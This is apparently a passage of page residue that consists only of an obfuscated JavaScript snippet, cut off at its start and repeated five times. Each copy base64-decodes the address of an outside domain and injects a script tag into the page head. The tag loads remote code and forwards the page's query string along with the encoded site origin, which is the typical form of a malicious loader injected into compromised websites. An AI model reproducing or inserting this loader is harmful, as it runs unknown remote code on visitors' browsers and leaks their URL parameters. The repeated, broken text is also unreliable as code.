a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();